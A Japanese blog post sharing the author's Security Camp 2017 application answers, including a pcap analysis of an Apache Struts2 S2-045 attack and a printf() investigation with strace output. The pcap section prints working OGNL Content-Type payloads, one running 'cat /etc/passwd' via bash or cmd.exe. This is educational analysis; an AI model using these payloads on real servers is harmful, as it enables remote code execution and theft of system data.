akiranetの日々淡々と頑張っていこう

akiranetのコンピューターと遊ぶ

セキュリティ・キャンプ応募用紙

Ak1raです。

セキュリティ・キャンプ2017に受かったので、後輩や今後の参考になればと思いあげさせてもらいます。 特に問題の回答などは、あっている保証はございません。 ブログに書いておいて、こんな時期もあったなーって振り返れればいいと思ってます。

書いているのはキャンプ修了後に書いています…
ぜひ来年応募してみてください!

www.ipa.go.jp

応募用紙

■はじめにお読みください 設問は、【設問1 応募者に関する設問】、【共通問題】、【選択問題】で構成されます。なお、共通問題と選択問題の記述回答は、10,000字まで入力が可能です。 ※回答の締め切りは、【2017年5月29日(月) 正午】です。再回答を含め、締め切りまでに回答を送信してください。 ※このページは60分程度でセッションが切断され、入力内容が無効となります。回答内容は応募者ご自身が適宜保存しながら回答するよう、ご注意ください。

特に、 1万 文字に気を付けてください!!!問題によっては、10000字なんてよゆry 舐めた事言いました、すいません。

共通問題

共-1(1)

あなたが今まで作ってきたものにはどのようなものがありますか? いくつでもいいので、ありったけ自慢してください。

ここは冬のインターン先でやったことや学校の実験、研究室のプロジェクトで作ったもの、趣味で作ったSlack Botを書きました。機能はこれ作ったぜ!とかこれのここがすごいとか書けばいいと思います!! ちょっとインターンのは書いていいのかわからないので、ここには書きません。

共-1(2)

それをどのように作りましたか? ソフトウェアの場合には、どんな言語で作ったのか、どんなライブラリを使ったのかなども教えてください。 追加したい機能や改善の案があれば、それも教えてください。

Rubyの〇〇をつかったとか、Hubotを使ってSlack Botを作った!など書きました。プロジェクトでは、Herokuやnodejs使った!とかそんなこと書きました… 実験で、ラジオやゲーム作ったなど書きました!

共-1(3)

開発記のブログ、スライドなどの資料があれば、それも教えてください。コンテストなどに出品したことがあ れば、それも教えてください。

このブログやGithubですね..

共-2(1)

あなたが経験した中で印象に残っている技術的な壁はなんでしょうか? (例えば、C言語プログラムを複数ファイルに分割する方法など)

新言語取得・プログラム作成やデバッガや逆アセンブルで処理を見るとき

共-2(2)

また、その壁を乗り越えるためにとった解決法を具体的に教えてください。 (例えば、知人に勧められた「○○」という書籍を読んだなど)

本家ドキュメントを見ることや、デバッガを使ったり逆アセンブルすることやチュートリアルを試すなどすることを書きました! いろいろな言語を書いていたので、それを取得するのが難しいとか書きました…

共-2(3)

その壁を今経験しているであろう初心者にアドバイスをするとしたら、あなたはどんなアドバイスをします か?

最初はわからないことだらけだけれども,ググる習慣を身につける.その調べることに関連する本を読む.ググってわからなければ, 自分の周りの優秀な人に質問してみる.いなければstackoverflowやyahoo!知恵袋でもいいから質問する意気込みを持つ.ググっていて見つけた情報は自分の今後でも役立つので,メモを取る習慣をつける.早くその問題を解決することは大切だが, 今だけを見るのではなく今後にも役立つと考えながら取り組んでほしいです.また,英語サイトで英語だからとプログラムを勉強始めた当初は避けていたが,英語サイトを避けていてはプログラムを書くことでもエラーを解決するときでも英語が読めなければわからないことが多くあるので,英語を避けないでほしいです.またエラーメッセージをよく読んで, 諦めないで解決しようという気持ちを持つことが大切だと思います.わからないことをわからないで終わらせず,分かる人に聞くことをためらわないでほしいです.わからないことがあることは当たり前で,それを教えてくれる人がいる環境は素晴らしいと思います.ただ質問する際は, 何がわからないのか, 自分だったらどういう解決方法が思いつくかなど考えてから質問するより有意義な時間にできると思います.

共-3(1)

あなたが今年のセキュリティ・キャンプで受講したいと思っている講義は何ですか?(複数可) そこで、どのようなことを学びたいですか?なぜそれを学びたいのですか?

私はセキュリティキャンプでは以下の講義を受講したいと考えています.理由は2点あります.1つ目は,私は自分で独学する際.本やインターネットを参考にし,勉強しますが人の記憶力には限界があり,忘れてしまうので実際に手を動かしメモを取るようにしています.そうすることで,インプットとアウトプットがしやすくなると思っています. そのことから,私はなるべく手を動かし学べる講義を中心に選びました.2つ目は,マルウェア解析や低レイヤーに興味はあるものの中々低レイヤーに手を出せずにいました.そこでプログラムを少しでも書けるようになれたらとWebアプリケーションを作って,勉強していました.しかし, 今回のセキュリティキャンプに参加することで, 低レイヤーを勉強していくきっかけにし,今後も引き続き低レイヤーの勉強をし続けたいと思い,今回は低レイヤーに関連する講義を受講したいと思っています.また講義名の下に参加理由を書きました.

[D-1] Linuxカーネルの理解して学ぶ脆弱性入門  マルウェアに調べている際, マルウェア解析環境を検知するマルウェアが存在し,そのマルウェアシステムコールデバイスドライバによってマルウェア解析環境を検知しています.しかし,私はLinuxカーネル空間の仕組みをよく理解できていません.そこで講義の説明にもある通り,Linuxの内部構造を知ることで基本を理解することで,応用が効くようになると私も考えているので, この講義に参加したいです.

[D2-3] カーネルエクスプロイトによるシステム権限奪取  この講義では,OS自体の脆弱性を利用したシステム権限を奪うということで,まるでハッキングかのような行為を体験できることを魅力に感じています.またOSの脆弱性だけでなく,プラウザ脆弱性に対する攻撃も行うということで,実際に攻撃の流れ・方法がわかれば,自分が興味を持っているマルウェア解析に役立てると思っています.この講義を通して実際のハッキング手法を見ることで, どこの脆弱性を利用しどのように侵入されてシステム権限を奪取されるまでの流れを見て,どこをどのように対策すべきかを考える良い機会だと思い,参加したいです.   [D4] マルウェア×機械学習  私はネットワークセキュリティ研究室で, 「ボットネット」に関する研究をしていこうと考えています.その研究の際,機械学習を用いることで,トラフィックの解析やボット検知に役立つのではないかと考えています.また,マルウェア検知に機械学習を利用した検知ロジックも商用化されているということで,私は全く機械学習に触れたことがないのですが,今回機械学習ついて知ることで今後に活かせるのではと思っています.またこの講義はハンズオンということで,実際に手を動かして機械学習を学べるいい機会であり,この講義を受講したいです.

[D5] The Anatomy of Malware  マルウェア解析に興味がありますが, 実際にマルウェアを解析してみるといまいちどこを読むべきか,この処理は何をしているのか分からないことだらけでした. そこでこの講義に参加することで, マルウェア解析に詳しい技術者とともにマルウェアの逆アセンブルコードを読み解くことで静的解析のコツや現状の課題を理解できるようになりたいです.また,マルウェアの逆アセンブルコードを(効率良く)ひたすら読むことができるということで,今後の自分が興味持っているマルウェア解析に対して,効率よく分析が1人でできるようになれるよう精一杯頑張りたいです.

[E6-7] インシデントレスポンスで攻撃者を追いかけろ  私は,マルウェア解析に興味を持っていて,インシデントレスポンスに於ける解析において,マルウェア感染元のファイルや攻撃者が作成した悪意のあるプログラムを解析することで,攻撃手法の特定やC2サーバーのドメイン名の特定やデジタルフォレンジックやログ解析から攻撃者の攻撃状況を分析するための解析技術について学習できるということで,実際に攻撃手法や攻撃者の特定が簡単なものでもできるようになることで,今後自分が研究したいと思っている「ボットネット」の研究にも活かせることと将来的にセキュリティに関する仕事につきたいと考えていて,今のうちにインシデントレスポンスにおける必要な解析技術を身につけることでよりよりセキュリティのスペシャリストになれると思い,この講義を受講したいです.

※ ちなみにここで取りたいって言った講義以外も取れるので、ここで悩まず選択問題で悩みましょう!!

共-3(2)

あなたがセキュリティ・キャンプでやりたいことは何ですか? 身につけたいものは何ですか?(複数可) 自由に答えてください。

1つめは, 自分の力を試してみたいことです. すでに自分の知識不足は実感していますが, セキュリティキャンプに参加することで,自分の知識がどこまで通じるのか,どこが足りないのか, どこを改善すべきなのか, これから自分はどのように勉強していけばより知識を蓄えるのに効率が良く,アウトプットのできるエンジニアになるかを考える機会になればと思っています.  2つめに, 講義を通して様々な知識を身に着け,自分の視野を広げたいです. 私は趣味でChatbotやDocker, Webアプリケーションは勉強していますが, ネットワークプログラミングやアセンブリ言語は授業や独学で少しやったくらいで詳しくわかりません. また低レイヤーは自分にとって勉強していくのにどうすればよいかよくわかっていません. そこで今回のセキュリティキャンプを通し, カーネルやOS, コンテナ技術,そこらの脆弱性などの低レイヤーの知識を身につけ, セキュリティキャンプ後の勉強に活かしたいです.加えて, それらの知識を自分のみで収めるのではなく, 研究室の後輩や様々な人にアウトプットしていくことでセキュリティやその関連技術に興味をもってもらえるように頑張りたいです. 具体的には定期的に研究室や外部の勉強会に参加し,アウトプットとして発表し,議論を交わすことで自分の分からない事を補完し, わからない人にわかりやすく説明できるようになりたいです. そのためにも今回の講義を聞いて, どのように説明するのがわかりやすく, どのようにアウトプットしているのかなども講師陣の方々に聞いてみたいです.  3つめは, このキャンプに参加し,コミュニティを増やしたいです. 人の輪を広げることで, 自分のわからないことを質問し, 自分が考えていること・意見について正しいのか,また自分が考えていること以外の新たな視点をもらえると思っています. また,セキュリティキャンプには多くの社会人や同世代の優秀な人が多くいるので,自分が疑問に思っていることや自分では気づかない点などを教えてもらい,自分の知識や視点に取り込めるように頑張りたいです.参加した暁には,いろいろな人にコミュニケーションをとり,人脈を広げたいです.

選択問題

問題1

添付したファイルに記録された通信を検知しました。この通信が意図とするものは何か?攻撃であると判断された場合、何の脆弱性を狙った攻撃か?通信フローに欠けているがあるがどのような内容が想定されるか?

1.今回の脆弱性とそれを利用した攻撃の検証  これは,Apache Struts2における脆弱性(S2-045)を利用した攻撃.影響を受けるバージョンとしては,Struts2.3.5 ~ 2.3.31,Struts2.5 ~ 2.5.10である.これはApache Struts2のデフォルトで使われているJakarta Multipart parser の処理に起因し,第三者によって細工されたリクエストを処理することで,アプリケーションの権限で任意のコードを実行可能な脆弱性である.具体的には,「Content-Type」, 「Content-Length」,「Content-Disposition」の値を利用した攻撃コードがある.この脆弱性の対策としては,この脆弱性の対策をされたバージョンにアップデートする・パーサーをJakarta Multipart parser以外に実装・リクエストに疑わしい値を含むものを検証、破棄するサーブレットフィルタの3点がある.
 今回この脆弱性の検証環境を作って,脆弱性を突いた攻撃を検証しました.以下に手順を示す.
・検証環境
OS: OS X Yosemite バージョン:10.10.4
ゲストOS: Ubuntu 14.04 LTS (IPアドレス: 192.168.99.10)
UbuntuにてDocker
構築手順
http://io.cyberdefense.jp/entry/2016/06/22/Docker%E3%82%92%E4%BD%BF%E3%81%A3%E3%81%A6%E3%80%81Apache_Struts2%E3%81%AE%E8%84%86%E5%BC%B1%E6%80%A7S2-037%E3%81%AE%E3%82%84%E3%82%89%E3%82%8C%E7%92%B0%E5%A2%83%E3%82%92%E6%89%8B%E8%BB%BD%E3%81%AB%E4%BD%9C

・実験手順
 今回「Content-Type」に攻撃コードを入れて,どのように変化があるかを調べました.そのためにChromeウェブストアにある「Advanced REST client」を用いました.URL(http://192.168.99.10:8080/struts2-rest-showcase/orders.xhtml)を指定して,
(i)「Content-Type」に攻撃コードを入れずに,GETメソッドでリクエス
(ii)GETメソッドにて,「Content-Type」に「{(#test=‘multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#memberAccess?(#memberAccess=#dm):*1.(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(“HACKED")).(#ros.flush())}」の2点を観察し,(i)の結果はURLのHTMLのコードが返ってきました.(ii)の結果は「HACKED」と表示できる.

2. 問題の「pcap」ファイルについて分析
 問題の「pcap」ファイル「q1.pcap」について分析します.添付ファイルの「q1.pcap」を「WireShark」と呼ばれるGUIのパケット取得・プロトコル解析ソフトを用いて,通信の詳細を見てみました.「192.168.74.1」「192.168.74.130」というアドレスがあった.今回それぞれをクライアント,サーバーとする.以下に,通信の流れを示します.  まずNo.1~No.3について説明します.No.1では,クライアントからサーバーにSYN(Seq=0,Len=0)をポート番号:55522からポート番号:8080に送る.No.2では,サーバーからクライントにSYN, ACKをポート番号:8080からポート番号:55522に送る.No.3では,クライアントからサーバーにACK(Seq=1,Ack=1,Len=0)をポート番号:55522からポート番号:8080に送る. 以上のことから,スリーウェイハンドシェイクによってポート番号:55522とポート番号:8080の通信を確立している.ACK番号とは,「シーケンス番号+受信したデータサイズ」であり,つまり「次受信するセグメントのシーケンス番号を送信元に伝える」こととなっている.  No.4について説明します.HTTPプロトコルの通信を行っていて,「GET /struts2-rest-showcase/order.xhtml HTTP/1.1」であった.これは上記で説明した「Apache Struts2」の脆弱性で、「Content-Type」を細工したリクエストをGETメソッドで送って任意のコードを実行する攻撃である.HTTPヘッダのUser-AgentとContent-Typeを以下に示す.

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:51.0) Gecko/20100101 Firefox/51.0
Content-Type: Content-Type:%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

 Content-Typeについて,「#cmd=‘cat /etc/passwd’」を実行している.「/etc/password」には,ユーザー名やパスワードなどがある.また,「(#cmds=(#iswin?{'cmd.exe’,‘/c’,#cmd}:{‘/bin/bash’,‘-c’,#cmd}))」によってWindowsでもLinuxでもコマンドが動くようにしている.さらに,「User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:51.0) Gecko/20100101 Firefox/51.0」を見ると,MACOSXFirefoxからアクセスしていると推測できる.加えてEthernetヘッダを見ると,クライアント・サーバーともにアドレスが「VM Ware」となっていた.TCPヘッダを見てみると,Next Sequence Number: 1093となっているので,次の通信はACK=1093だと思われる.  No.5について説明します.サーバーからクライアントにACKを送っている.このことから,No.4のパケットを受信したことを示していると考えられる.  No.6,No.7,No.10,No.13,No.14について説明します.クライアントのポート番号:53653,サーバーのポート番号:22に通信している.ポート番号:22といえば,ウェルノウンポートであり「SSH」である.これらのパケットは,ACK番号の値が増えているだけである.  No.8とNo.9について説明します.どちらも「TCP Acked unseen argument」である.そこで検証環境にてHTTP通信を見たところ,[TCP segment of a reassembled PDU]がサーバーからクライアントに2回で送られます.データがすべて受信できたら,クライントからサーバーへ[ACK]を返します.その後,検証環境ではサーバーからクライアントへ「HTTP/1.1 200 OK (text/html)」を送信するはずである.それをクライントが受信したら,クライアントからサーバーに[ACK]を返している.また検証環境でHTTP通信を切断するパケットを「Wireshark」で観察しました.サーバーからクライアントへFIN,ACKが送ります.次にクライアントからサーバーへACK,FIN,ACKと通信していました.そのことから,No.8・No.9では,サーバーからクライアントへFIN,ACKのパケットが欠けていると想定できます.  No.11について説明します。「TCP Previous segment not captured」と表示されていた.これは,No.11の1個前のセグメントが見えていないという意味です.サーバーからクライアントへのACKの通信が欠けていると思われる.  No.12について説明します.これは,No.11の返信のACKであると思われる.またNo.8,No.9と同様に,「TCP ACKed unseen argument」と表示されている.これは,N0.11で欠けているといった通信のためのBad TCPであると考えました.

3. 分析結果からの疑問に思ったこと  2.での分析結果から,疑問に思ったことを以下に示します. (i) HTTPの応答がない。(例: 200 OK) (ii) SSHのポートへ何度もACKを送っていて,Ack番号が増えている. (iii) EtherヘッダーとHTTPのUser-Agentの違い(今回は、VMWareとMac OSX&FireFox)  (i)について考えます.上記の検証環境にて,HTTPの正常な通信について検証したのでその通信の一部を以下に示します.

[No] [Time] [Source] [Destination] [Protocol] [Length] [Info]
16  23.560088 192.168.99.1 -> 192.168.99.10 HTTP 602 GET /struts2-rest-showcase/orders.xhtml HTTP/1.1
 17  23.560425 192.168.99.10 -> 192.168.99.1 TCP 66 8080→63738 [ACK] Seq=1 Ack=537 Win=30080 Len=0 TSval=11347135 TSecr=722458378
 18  24.553181 192.168.99.10 -> 192.168.99.1 TCP 74 [TCP Spurious Retransmission] 8080→63739 [SYN, ACK] Seq=0 Ack=1 Win=28960 Len=0 MSS=1460 SACK_PERM=1 TSval=11347384 TSecr=722458375 WS=64
 19  24.553255 192.168.99.1 -> 192.168.99.10 TCP 66 [TCP Dup ACK 9#1] 63739→8080 [ACK] Seq=1 Ack=1 Win=131744 Len=0 TSval=722459366 TSecr=11347384
 20  24.753343 192.168.99.10 -> 192.168.99.1 TCP 74 [TCP Spurious Retransmission] 8080→63740 [SYN, ACK] Seq=0 Ack=1 Win=28960 Len=0 MSS=1460 SACK_PERM=1 TSval=11347434 TSecr=722458376 WS=64
 21  24.753493 192.168.99.1 -> 192.168.99.10 TCP 66 [TCP Dup ACK 12#1] 63740→8080 [ACK] Seq=1 Ack=1 Win=131744 Len=0 TSval=722459563 TSecr=11347434
 22  24.953430 192.168.99.10 -> 192.168.99.1 TCP 74 [TCP Spurious Retransmission] 8080→63741 [SYN, ACK] Seq=0 Ack=1 Win=28960 Len=0 MSS=1460 SACK_PERM=1 TSval=11347484 TSecr=722458377 WS=64
 23  24.953486 192.168.99.1 -> 192.168.99.10 TCP 66 [TCP Dup ACK 15#1] 63741→8080 [ACK] Seq=1 Ack=1 Win=131744 Len=0 TSval=722459761 TSecr=11347484
 24  26.831344 192.168.99.10 -> 192.168.99.1 TCP 1514 [TCP segment of a reassembled PDU]
 25  26.831349 192.168.99.10 -> 192.168.99.1 TCP 1514 [TCP segment of a reassembled PDU]
 26  26.831397 192.168.99.1 -> 192.168.99.10 TCP 66 63738→8080 [ACK] Seq=537 Ack=2897 Win=128864 Len=0 TSval=722461628 TSecr=11347953
 27  26.831492 192.168.99.10 -> 192.168.99.1 HTTP 890 HTTP/1.1 200 OK  (text/html)     

正常なHTTP通信ならば,「GET /struts2-rest-showcase/order.xhtml HTTP/1.1」→「HTTP/1.1 200 OK (text/html)」と応答がある.しかし問題のpcapでは応答がないので, サーバ側までGETメソッドのリクエストが届いていないことと,クライアント側に,データが届いていない,もしくは送っていないと推測できます.問題のpcapでは,No.4のHTTPリクエスト後のNo.5にて,サーバーからクライアントへ[ACK]を返している.これは,リクエストが届いていることを示している.検証環境でも同じ結果となった.次に,検証環境では「GETリクエスト->サーバーからクライアントへ[ACK]」の後に,[TCP segment of a reassembled PDU]でサーバーからクライアントへデータを送っているが問題にはない.検証環境では,それらのデータを受信したらクライアントからサーバへデータが受信できたと[ACK]を返します.しかし問題のpcapではありません.従って,サーバーからクライアントへデータが送られていないと推測できる.  (ii)について考えます.まずはじめは,SSHのポート番号が22番ではなく違うポート番号になっているから,[ACK]の返答が返って来ないと考えました. WireSharkを起動し,Macと仮想環境のUbuntuとの通信を解析し通信の一部を示す.

[No] [Time] [Source] [Destination] [Protocol] [Length] [Info]
1   0.000000 192.168.99.1 -> 192.168.99.10 TCP 78 64278→22 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=32 TSval=724241520 TSecr=0 SACK_PERM=1
2   0.000368 192.168.99.10 -> 192.168.99.1 TCP 74 22→64278 [SYN, ACK] Seq=0 Ack=1 Win=28960 Len=0 MSS=1460 SACK_PERM=1 TSval=11795241 TSecr=724241520 WS=64
  3   0.000417 192.168.99.1 -> 192.168.99.10 TCP 66 64278→22 [ACK] Seq=1 Ack=1 Win=131744 Len=0 TSval=724241520 TSecr=11795241
  4   0.000912 192.168.99.1 -> 192.168.99.10 SSH 87 Client: Protocol (SSH-2.0-OpenSSH_6.2)
  7   0.008059 192.168.99.1 -> 192.168.99.10 TCP 66 64278→22 [ACK] Seq=22 Ack=42 Win=131712 Len=0 TSval=724241527 TSecr=11795243
 13   0.008970 192.168.99.1 -> 192.168.99.10 TCP 66 64278→22 [ACK] Seq=1614 Ack=1690 Win=130848 Len=0 TSval=724241527 TSecr=11795243
16   0.010436 192.168.99.1 -> 192.168.99.10 TCP 66 64278→22 [ACK] Seq=1638 Ack=1842 Win=130912 Len=0 TSval=724241529 TSecr=11795243
19   0.013810 192.168.99.1 -> 192.168.99.10 TCP 66 64278→22 [ACK] Seq=1782 Ack=2562 Win=130336 Len=0 TSval=724241532 TSecr=11795244
249  79.430627 192.168.99.1 -> 192.168.99.10 TCP 78 64283→22 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=32 TSval=724320605 TSecr=0 SACK_PERM=1
250  79.430856 192.168.99.10 -> 192.168.99.1 TCP 60 22→64283 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0

 まずssh -p 22 vagrant@192.168.99.10Mac上でコマンドを実行します.次に,仮想環境のUbuntusshの設定を書き換えました.一度SSHの接続を切り,再度 ssh -p 22 vagrant@192.168.99.10を実行.結果は,No.250で[RST, ACK]が返ってきました.RSTは,通信が拒否されたということである.従って,最初の推測は間違っていました.そこで,通常のSSHの通信を観察してみました.観察すると,No.1~No.3でSSHのポート番号22と通信を確立して,No.4以降は,SSHに接続中で[ACK]のAckの値が増加していた.このことから2つのことが推測できる.問題の「q1.pcap」では,「SSHの通信をしているよ」という確認を送っているために,ACK番号が増加していること,SSHの通信の確立は,Wiresharkでキャプチャする以前に行われている. (iii)について考えます.Content-Typeを細工したリクエストをChromeウェブストアの「Advanced REST client」で送った通信を「Wireshark」で観察しました.その結果のHTPヘッダのUser-agentに注目する. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 今回はChromeウェブストアの「Advanced REST client」を使って行っているので,ChromeでアクセスしたときのUser-agentとなっている.User-agentの出力例は, http://s-ej.com/glossary/useragent.html を参考にしました.以上のことからこの問題(「q1.pcap」)の観測した際の環境は、Gekcoと呼ばれるソフトウェアオープンソースのHTMLレンダリングエンジンの総称であり、Firefoxでも使われ,Firefoxからアクセスし,VMware上でApache Struts2を動かしていると推測できる.

問題4

C言語のprintf()関数またはUNIXのfork()というシステムコールとはどういうものか?深掘りして考えてみてください

今回の問題を解くにあたり,以下の順番で解いていきました。

  1. printf()関数とは
  2. printf()を深追いしよう
  3. 最後に

1. printf()関数とは   printf()関数とは,ライブラリ関数であり,formatに従って出力を生成するものである.使用の際には, #include <stdio.h>が必要であり,これは標準の入力/出力(Standard Input/Output)を扱うヘッダーファイルを読み込んでいる.manページ(https://linux.die.net/man/3/printf)を参照すると,セクション3であり以下のように書いてある.

#include <stdio.h>
int printf(const char *format, ...);

このformatとは,通常の多バイト文字 (multibyte character) と変換指定(&dなど)を記述する.はじめに,システムコールトレースや共有ライブラリトレース,デバッグ及び逆アセンブルするための"q4.c"を作成しました.以下に示します.

#include <stdio.h>
 
int main(void){
                printf(“hello, world\n”);
                return 0;
}

以下に動作環境を示す. 今回は仮想環境内で検証しました.

ホストOS: OS X Yosemite バージョン:10.10.4
仮想化ソフト: Vagrant, VirtualBox
ゲストOS: Ubuntu 14.04 LTS (IPアドレス: 192.168.99.10)

続いてプログラムをコンパイルし,今回は,静的リンクと動的リンクした2つの実行ファイル(それぞれ”q4_s”と”q4_d")を生成した.

2. printf()を深追いしよう  私は、printf()関数について深掘りするため、(i)システムコールトレース,(ii)共有ライブラリトレース,(iv)デバッグと逆アセンブルの順で調べました. (i) システムコールトレース   システムコールをトレースする「strace」コマンドのそれぞれの実行結果を以下に示す.

vagrant@vagrant-ubuntu-trusty:~/printf$ strace ./q4_d
execve("./q4_d", ["./q4_d"], [/* 20 vars */]) = 0
brk(0)                                  = 0xddd000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f1daf47c000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=21673, ...}) = 0
mmap(NULL, 21673, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f1daf476000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P \2\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1853216, ...}) = 0
mmap(NULL, 3961536, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f1daee94000
mprotect(0x7f1daf052000, 2093056, PROT_NONE) = 0
mmap(0x7f1daf251000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1bd000) = 0x7f1daf251000
mmap(0x7f1daf257000, 17088, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f1daf257000
close(3)                                = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f1daf475000
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f1daf473000
arch_prctl(ARCH_SET_FS, 0x7f1daf473740) = 0
mprotect(0x7f1daf251000, 16384, PROT_READ) = 0
mprotect(0x600000, 4096, PROT_READ)     = 0
mprotect(0x7f1daf47e000, 4096, PROT_READ) = 0
munmap(0x7f1daf476000, 21673)           = 0
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f1daf47b000
write(1, "hello, world\n", 13hello, world
)          = 13
exit_group(0)                           = ?
+++ exited with 0 +++
vagrant@vagrant-ubuntu-trusty:~/printf$ strace ./q4_d
execve("./q4_s", ["./q4_s"], [/* 20 vars */]) = 0
uname({sys="Linux", node="vagrant-ubuntu-trusty", ...}) = 0
brk(0)                                  = 0x1ea4000
brk(0x1ea51c0)                          = 0x1ea51c0
arch_prctl(ARCH_SET_FS, 0x1ea4880)      = 0
readlink("/proc/self/exe", "/home/vagrant/printf/q4_s", 4096) = 25
brk(0x1ec61c0)                          = 0x1ec61c0
brk(0x1ec7000)                          = 0x1ec7000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f7cb9f7f000
write(1, "hello, world\n", 13hello, world
)          = 13
exit_group(0)                           = ?
+++ exited with 0 +++

 「システムコール」の説明として,「ユーザー空間」と「カーネル空間」のデータの橋渡しを行っています. 2つの実行ファイルのprintf()関数は,どちらも最終的にシステムコールの「write()」をコールしている.「write()」によって文字の出力がされている. 「write()」を呼ぶことで,writeシステムコールが呼び出され文字列の出力をOSに依頼している.ここで「write()」の構造を以下に示す.

#include <unistd.h>
ssize_t write(int fd , const void * buf , size_t count );

 第2引数のbufで示されるバッファから最大countバイトまでをファイルディスクリプタfdによって参照されるファイルへ書き込まれます。  私はここで「write()」のみを使って,文字を出力するのではだめなのかと考えました.「printf()」はバッファリングが行われているために,printfなどの入出力ライブラリでは数KBのバッファをもっており,printf関数がコールされるとバッファにデータをためてバッファが一杯になると「write()」で出力するという仕組みである.そのためwrite()をたくさん呼ぶのは非効率のようだ.

(ii) 共有ライブラリトレース  共有ライブラリとの依存関係をチェックする「ldd」コマンドを実行した結果を示す.

vagrant@vagrant-ubuntu-trusty:~/printf$ ldd q4_d
        linux-vdso.so.1 =>  (0x00007ffdd6f49000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb2e0100000)
        /lib64/ld-linux-x86-64.so.2 (0x00007fb2e04c8000)
vagrant@vagrant-ubuntu-trusty:~/printf$ ldd q4_s
        not a dynamic executable

 「printf()」は「glibc」のライブラリの一部であり,実行プログラムの共有ライブラリのリンク状況を見ると,「lib.so.6」がリンクされています.“q4_d.c”の実行ファイルは,libc.so.6などの共有ライブラリが実行に必要なことが分かる.  ライブラリとは,コンパイラアセンブラが生成した*.o オブジェクトファイルをまとめたものです.  ここで共有ライブラリの動的リンク,静的リンク及び静的ライブラリについて説明したい.共有ライブラリとは,1つのファイルをmmap(2)などを使って,複数のオブジェクトファイルを1つの巨大なオブジェクトファイルにして共有する.また実行可能な形式のファイルを起動するときに必要なライブラリとリンクします.動的リンクの際は,ファイル拡張子は,「XXX.so」である.逆に静的リンクは, 「.so ファイル」に依存しない.動的リンクの利点は,ファイルサイズを小さく,複数のプロセスが共有することにより使用メモリを少なくする.静的リンクの利点は,「.soファイル」が設置していない環境でも動く. 次に、実行プログラムのシンボルを調べる「nm」コマンドを実行した結果を以下に示す.ここでシンボルとは,リンカが関数や変数を識別するときに用いる名前である.nmコマンドでオブジェクトファイルのシンボルを読める.

vagrant@vagrant-ubuntu-trusty:~/printf$ nm q4_d
0000000000601040 B __bss_start
0000000000601040 b completed.6973
00000000004005c0 T __libc_csu_fini
…..
0000000000400550 T __libc_csu_init
                 U __libc_start_main@@GLIBC_2.2.5
000000000040052d T main
                 U puts@@GLIBC_2.2.5 
00000000004004a0 t register_tm_clones
0000000000400440 T _start
0000000000601040 D __TMC_END__

